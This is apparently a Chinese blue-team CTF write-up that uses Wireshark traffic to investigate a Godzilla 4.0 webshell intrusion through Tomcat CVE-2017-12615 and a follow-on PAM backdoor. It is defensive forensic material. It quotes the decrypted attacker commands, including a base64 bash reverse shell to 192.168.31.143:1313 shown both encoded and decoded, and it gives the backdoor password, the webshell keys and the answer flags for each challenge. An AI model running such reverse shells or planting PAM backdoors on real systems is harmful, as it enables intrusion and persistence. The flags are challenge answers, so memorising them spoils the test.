【玄机】哥斯拉 4.0 流量分析

admin 2024年12月22日02:20:19评论42 views字数 9595阅读31分59秒阅读模式

原文首发在:先知社区

https://xz.aliyun.com/t/15881

通过本文您能学到什么?

1、wireshark流量分析基本思路
2、哥斯拉4.0流量特征/流量解密
3、linux pam持久化后门分析

希望各位都能有点收获,需要玄机邀请码的后台私信,看到会尽快回复的。

1、黑客的 ip 是什么?

下载附件,pcap 数据包,丢到 wireshark 分析【玄机】哥斯拉 4.0 流量分析搜索http数据包,可以看到攻击 ip 有俩192.168.31.168 / 192.168.31.190根据源地址进行排序可以看到192.168.31.190在对192.168.31.168地址进行目录扫描,190 为黑客 ip

【玄机】哥斯拉 4.0 流量分析

且此处分析除了爆破之外,还有个 hello.jsp 数据包频繁出现,可能为木马文件,此处先不做分析

【玄机】哥斯拉 4.0 流量分析

flag{192.168.31.190}

2、黑客是通过什么漏洞进入服务器的?(提交 CVE 编号)

还是依旧分析http数据包

此处可以有多种方式进行排序分析,先分析post或其他少见请求头数据包,或者优先数据量大的数据包

此处按照数据长度进行从上到下排序分析

排序完成后,很快就在一堆404中发现了PUT请求的hello.jsp文件,且刚刚怀疑过木马文件很可能是hello.jsp文件,因为其数据包在流量中大量重放,别的数据包都是目录遍历只访问一次,这个hello.jsp很可疑,追踪流分析一下

【玄机】哥斯拉 4.0 流量分析
【玄机】哥斯拉 4.0 流量分析

我透!这数据包一看就有问题,又是密钥又是密码的,跟哥斯拉的木马对比一下,基本差不多,这就是在上传哥斯拉木马到服务器上,木马名称是hello.jsp

【玄机】哥斯拉 4.0 流量分析

哥斯拉jsp木马文件【玄机】哥斯拉 4.0 流量分析

PUT请求头是用于上传的,此处应该是用PUT方法上传jsp木马文件,直接搜索PUT请求文件上传漏洞

第一个搜到的就是tomcat PUT文件上传漏洞,漏洞编号是CVE-2017-12615,因为木马文件是jsp文件,所以大概就是tomcat的这个漏洞

【玄机】哥斯拉 4.0 流量分析

大概了解一下这个漏洞,看看vulhub的靶场案例,意思是可以通过构造恶意的PUT请求,将恶意文件写入服务器的任意位置

请求成功后,返回的状态码为201

【玄机】哥斯拉 4.0 流量分析

查看wirkshark中,确实存在201状态码的数据包,点击追踪流看看

【玄机】哥斯拉 4.0 流量分析

【玄机】哥斯拉 4.0 流量分析可以看到,201状态码这个数据包就是PUT /hello.jap数据包的返回包,确定是tomcat PUT文件上传漏洞没跑了,提交flag

flag{CVE-2017-12615}

3、黑客上传的木马文件名是什么?(提交文件名)

上传的木马文件2题已经分析过了,就是hello.jsp文件

flag{hello.jsp}

4、黑客上传的木马连接密码是什么?

可以看2题分析的put文件上传的数据包

【玄机】哥斯拉 4.0 流量分析

这个pass的值就是密码:7f0e6f

也可以分析下别的POST /hello.jsp数据包,可以确认密码就是7f0e6f【玄机】哥斯拉 4.0 流量分析

flag{7f0e6f}

5、黑客上传的木马解密密钥是什么?

可以看到这里的密钥就是xc的值:1710acba6220f62b【玄机】哥斯拉 4.0 流量分析

哥斯拉是使用AES加密的 而xc的值符合AES加密密钥的要求,16、24、32字节

flag{1710acba6220f62b}

6、黑客连接 webshell 后执行的第一条命令是什么?

这里使用ABC_123大佬蓝队分析研判工具箱进行哥斯拉数据的解密,感谢大佬免费分享的工具!!!

github地址:https://github.com/abc123info/BlueTeamTools

使用分析工具箱,解密webshell流量,将5/6题目的密码和密钥输入其中

wireshark筛选:http && http contains "/hello.jsp"

选择一个数据包追踪数据流:

【玄机】哥斯拉 4.0 流量分析解密请求包:

【玄机】哥斯拉 4.0 流量分析

解密响应包:

【玄机】哥斯拉 4.0 流量分析

解密所有数据包的流程都差不多,对所有包含/hello.jsp的数据包,进行解密

wireshark对数据流筛选tcp.stream eq 45

数据流45解密请求/响应:
getBasicsInfo

FileRoot : /;
CurrentDir : //
CurrentUser : root
ProcessArch : 64
TempDirectory : /opt/apache-tomcat-8.5.19/temp/
DocBase : /opt/apache-tomcat-8.5.19/webapps/ROOT/
RealFile : /opt/apache-tomcat-8.5.19/webapps/ROOT/
servletRequest : 1763462523
servletContext : 1993764884
httpSession : 1001775710
......
数据流46解密请求/响应:
cmdLine  sh -c "cd "/";uname -r" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";uname -r" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";uname -rmethodName  execCommand

4.19.0-25-amd64
数据流47解密请求/响应:
cmdLine  sh -c "cd "/";id" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";id" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";idmethodName  execCommand

uid=0(root) gid=0(root) groups=0(root)
数据流48解密请求/响应:
cmdLine  sh -c "cd "/";cat /etc/os-release" 2>&1arg-3  2>&1executableFile  shexecutableArgs$  -c "cd "/";cat /etc/os-release" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";cat /etc/os-releasemethodName  execCommand

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
数据流49解密请求/响应:
cmdLine &   sh -c "cd "/";rmp -qa | grep pam" 2>&1arg-3  2>&1executableFile  shexecutableArgs #  -c "cd "/";rmp -qa | grep pam" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";rmp -qa | grep pammethodName  execCommand

2>&1: 1: 2>&1: rmp: not found

cmdLine  sh -c "cd "/";id" 2>&1arg-3  2>&1executableFile  shexecutableArgs  -c "cd "/";id" 2>&1arg-0  shargsCount  4arg-1  -carg-2  cd "/";idmethodName  xecCommand

uid=0(root) gid=0(root) groups=0(root)
数据流50解密请求/响应:
cmdLine &  sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3  2>&1executableFile  shexecutableArgs #  -c "cd "/";rpm -qa | grep pam" 2>&1arg-0  shargsCount  4arg-1   -carg-2  cd "/";rpm -qa | grep pammethodName  execCommand

2>&1: 1: 2>&1: rpm: not found
数据流51解密请求/响应:
cmdLine 0  sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3  2>&1executableFile  shexecutableArgs -  -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0  shargsCount  4arg-1  -carg-2 #  cd "/";dpkg -l libpam-modules:amd64methodName  execCommand

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                 Version      Architecture Description
+++-====================-============-============-========================================
ii  libpam-modules:amd64 1.3.1-5      amd64        Pluggable Authentication Modules for PAM
数据流52解密请求/响应:
cmdLine l  sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3  2>&1executableFile  shexecutableArgs i  -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0  shargsCount  4arg-1  -carg-2 _  cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName  execCommand
数据流54解密请求/响应:
methodName  getFiledirName  /

ok
//
wget-log 1 2024-09-19 08:15:47 0 RW
lib 0 2024-09-18 08:06:13 4096 RWX
usr 0 2023-12-25 02:31:52 4096 RWX
lib32 0 2023-12-25 02:31:48 4096 RWX
libx32 0 2023-12-25 02:31:48 4096 RWX
lost+found 0 2023-12-25 02:31:44 16384 RWX
sbin 0 2024-09-18 08:06:06 12288 RWX
vmlinuz 1 2023-08-07 22:35:25 5283136 RW
opt 0 2024-09-19 08:41:28 4096 RWX
mnt 0 2023-12-25 02:31:52 4096 RWX
etc 0 2024-09-19 07:35:49 4096 RWX
root 0 2024-09-19 08:41:48 4096 RWX
srv 0 2023-12-25 02:31:52 4096 RWX
proc 0 2024-09-19 06:29:54 0 RWX
dev 0 2024-09-19 06:29:58 3160 RWX
initrd.img.old 1 2023-12-25 02:32:56 28089917 RW
initrd.img 1 2023-12-25 02:34:12 28246009 RW
vmlinuz.old 1 2020-07-24 14:46:18 5274864 RW
var 0 2023-12-25 02:31:52 4096 RWX
wget-log.1 1 2024-09-19 08:15:47 0 RW
lib64 0 2024-09-18 08:05:13 4096 RWX
media 0 2023-12-25 02:31:45 4096 RWX
boot 0 2023-12-25 02:41:35 1024 RWX
tmp 0 2024-09-19 09:00:35 4096 RWX
run 0 2024-09-19 09:00:35 600 RWX
wget-log.2 1 2024-09-19 08:15:47 0 RW
home 0 2023-12-25 02:43:00 4096 RWX
bin 0 2024-09-19 07:35:48 28672 RWX
sys 0 2024-09-19 06:29:55 0 RWX
数据流55解密请求/响应:
methodName  getFiledirName  /tmp/

ok
/tmp/
ssh-rJgBkHZMg0 0 2024-09-19 08:30:00 4096 RWX
code-8a1ad303-d54a-4ee6-bf06-79c09e867bed 1 2024-09-19 08:15:43 0 RWX
.XIM-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-vWnAfxielC 0 2024-09-19 08:43:32 4096 RWX
ssh-HqBIxaU2OF 0 2024-09-19 08:15:37 4096 RWX
hsperfdata_root 0 2024-09-19 06:29:59 4096 RWX
systemd-private-fe1119a9e31340ada72ff5bdd7dcb056-systemd-timesyncd.service-wVf4Jf 0 2024-09-19 06:29:59 4096 RWX
1.pcap 1 2024-09-19 09:03:14 1490944 RW
.Test-unix 0 2024-09-19 06:29:59 4096 RWX
.X11-unix 0 2024-09-19 06:29:59 4096 RWX
.ICE-unix 0 2024-09-19 06:29:59 4096 RWX
.font-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-P22RjIKAZ3 0 2024-09-19 08:19:17 4096 RWX
ssh-F8xrTEcjZ2 0 2024-09-19 08:39:58 4096 RWX
ssh-JmgaMLTFgu 0 2024-09-19 08:21:23 4096 RWX
ssh-r6qMz7wlBA 0 2024-09-19 09:00:35 4096 RWX
数据流56解密请求/响应:
关键信息:
fileName  /tmp/pam_unix.sofileValue NELF

ok
数据流57解密请求/响应:
cmdLine l  sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3  2>&1executableFile  shexecutableArgs i  -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0  shargsCount  4arg-1  -carg-2 _  cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName  execCommand

无返回

好嘟,全部解密完毕后接下来开始分析,拿数据流46进行分析:
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand

这条语句在干嘛?总结一下就是

1、打开一个shell(命令行界面):sh
2、切换到根目录(/):cd "/"
3、查看当前系统的内核版本:uname -r
4、将错误信息和正常输出信息合并在一起显示:2>&1

其他执行的命令语句也大同小异,这里就不再过多解释。

回到题目,这题要求获取黑客执行的第一条命令

我们使用wireshark进行筛选,筛选语句:http && http contains "/hello.jsp" 按照时间排序

【玄机】哥斯拉 4.0 流量分析

直接从前往后看,其中45数据流的命令getBasicsInfo是连接哥斯拉时默认运行的,获取服务器环境信息,不是黑客执行的语句,所以第一条执行的语句应该是46数据流uname -r

flag{uname -r}

7、黑客连接 webshell 时查询当前 shell 的权限是什么?第一条命令是什么?

查看解密出来的数据,47数据流中显示执行的是id命令,权限是root

【玄机】哥斯拉 4.0 流量分析

flag{root}

8、黑客利用 webshell 执行命令查询服务器 Linux 系统发行版本是什么?

常用的查询linux发行版本命令:

    lsb_release -a
    命令显示Linux标准基础(LSB)的相关信息
    包括发行版的名称、版本号等。

    cat /etc/*release
    命令显示/etc目录下所有以release结尾的文件内容
    这些文件通常包含发行版的信息。

    cat /etc/issue
    命令显示系统的发行版信息,通常包括名称和版本号。

    hostnamectl
    命令显示系统信息,包括操作系统的名称和版本。

    uname -a
    显示内核相关信息,包括内核版本,但不会显示发行版的详细信息。

    cat /proc/version
    显示内核版本信息,类似于uname -r命令

    cat /etc/os-release
    文件包含系统发行版的详细信息,包括PRETTY_NAME,版本ID等。

跟解密的数据对比下,是48数据流,用的命令是cat /etc/os-release

【玄机】哥斯拉 4.0 流量分析

返回包显示,发行版本是Debian GNU/Linux 10 (buster)

flag{Debian GNU/Linux 10 (buster)}

9、黑客利用 webshell 执行命令还查询并过滤了什么?(提交整条执行成功的命令)

查询并且过滤,大概扫一眼解密出来的数据包执行的命令知道是50数据流执行的命令:rpm -qa | grep pam

【玄机】哥斯拉 4.0 流量分析

返回结果是:2>&1: 1: 2>&1: rpm: not found

服务器没装rpm  rpm命令用于管理 RPM包 的命令行工具,用于查询、安装、删除和验证 RPM 包

这里命令是在查询pam相关的包,而pamLinux 系统中用于认证和授权的模块化框架,是为了做持久化,感兴趣的可以搜索PAM后门查阅相关文章

但是题目要求,提交执行成功的命令,再去解密后的数据包中寻找,发现数据流51似乎也是寻找pam版本信息,并且成功返回信息dpkg -l libpam-modules:amd64

【玄机】哥斯拉 4.0 流量分析

flag{dpkg -l libpam-modules:amd64}

10、黑客留下后门的反连的 IP 和 PORT 是什么?(IP:PORT)

发现52/57数据流存在base64加密【玄机】哥斯拉 4.0 流量分析

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==

解密后的结果是/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1

这一看就是条反连命令,所以黑客的ip port192.168.31.143:1313

flag{192.168.31.143:1313}

11、黑客通过什么文件留下了后门?

查看解密出来的数据包,只有数据流56跟文件相关,.so文件是可执行文件,且文件名字叫pam,之前说过pam可以用于linux持久化后门制作。

【玄机】哥斯拉 4.0 流量分析
【玄机】哥斯拉 4.0 流量分析

所以留下的后门文件应该是:pam_unix.so,尝试提交下确定为后门文件没问题

flag{pam_unix.so}

12、黑客设置的后门密码是什么?

要获取到后门密码肯定要对后门文件进行分析,首先将文件从服务器上拷贝下来,反编译分析

上服务器上看,发现/tmp/pam_unix.so文件不存在

【玄机】哥斯拉 4.0 流量分析

使用find命令查找 find -name *pam_unix.so*

找到了篡改的文件,还有原本的备份文件

【玄机】哥斯拉 4.0 流量分析

查看文件修改时间,确定近期存在修改

【玄机】哥斯拉 4.0 流量分析

pam_unix.so文件拷贝下来进行分析

首先这个可以确定是就是写入了个PAM后门,这个是linux中的可插拔认证模块,像是su,sudo,passwd命令都会用到PAM

这个PAM后门简单来说就是替换掉系统原本的pam_unix.so文件,ssh登录时候换成自己设的密码登录,对替换后的pam_unix.so文件ida反编译后分析

pam_sm_authenticatePAM(可插拔认证模块)框架中的一个函数,主要用于用户身份验证。这个函数的作用是对用户提供的凭证(如密码)进行验证,通常是在 PAM 模块中实现的。

pam_sm_authenticate函数中找到了密码:XJ@123

【玄机】哥斯拉 4.0 流量分析

flag{XJ@123}

13、黑客的恶意 dnslog 服务器地址是什么?

依旧是ida分析,还是pam_sm_authenticate认证函数

【玄机】哥斯拉 4.0 流量分析

或者查看数据包 用wireshark搜索dns,查看靶机ip连接的dns地址

【玄机】哥斯拉 4.0 流量分析

flag{c0ee2ad2d8.ipv6.xxx.eu.org.}

靶场地址:https://xj.edisec.net

后台私信获取玄机邀请码!!!

没及时回复麻烦耐心等一段时间,看到会回复的

原文始发于微信公众号(实战安全研究):【玄机】哥斯拉 4.0 流量分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月22日02:20:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【玄机】哥斯拉 4.0 流量分析https://cn-sec.com/archives/3536687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息